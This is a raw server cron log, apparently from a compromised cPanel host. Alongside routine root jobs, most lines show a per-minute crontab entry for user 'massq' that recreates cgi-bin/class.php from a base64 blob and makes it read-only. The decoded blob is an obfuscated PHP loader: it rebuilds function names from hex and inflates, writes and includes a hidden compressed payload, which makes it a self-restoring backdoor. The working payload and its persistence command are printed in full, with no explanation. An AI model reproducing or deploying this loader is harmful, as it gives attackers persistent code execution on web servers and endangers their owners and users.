Nov 10 05:55:01 server CROND[17152]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 05:56:01 server CROND[18030]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 05:57:01 server CROND[18929]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 05:57:01 server CROND[18930]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 05:58:01 server CROND[19740]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 05:59:01 server CROND[20555]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 06:00:01 server CROND[21234]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 06:00:01 server CROND[21237]: (root) CMD (/usr/local/cpanel/scripts/exim_tidydb &gt; /dev/null 2&gt;&amp;1)
Nov 10 06:00:01 server CROND[21239]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 10 06:00:01 server CROND[21246]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 06:00:01 server CROND[21248]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 06:00:01 server CROND[21249]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 06:01:01 server CROND[22070]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 06:01:01 server CROND[22071]: (root) CMD (run-parts /etc/cron.hourly)
Nov 10 06:01:01 server run-parts(/etc/cron.hourly)[22071]: starting 0anacron
Nov 10 06:01:01 server run-parts(/etc/cron.hourly)[22083]: finished 0anacron
Nov 10 06:02:01 server CROND[22908]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 06:03:01 server CROND[23825]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 06:04:01 server CROND[24648]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 06:05:01 server CROND[24908]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 06:05:01 server CROND[24909]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 06:05:01 server CROND[24910]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 06:05:01 server CROND[24911]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 06:06:01 server CROND[25795]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 06:07:01 server CROND[26631]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
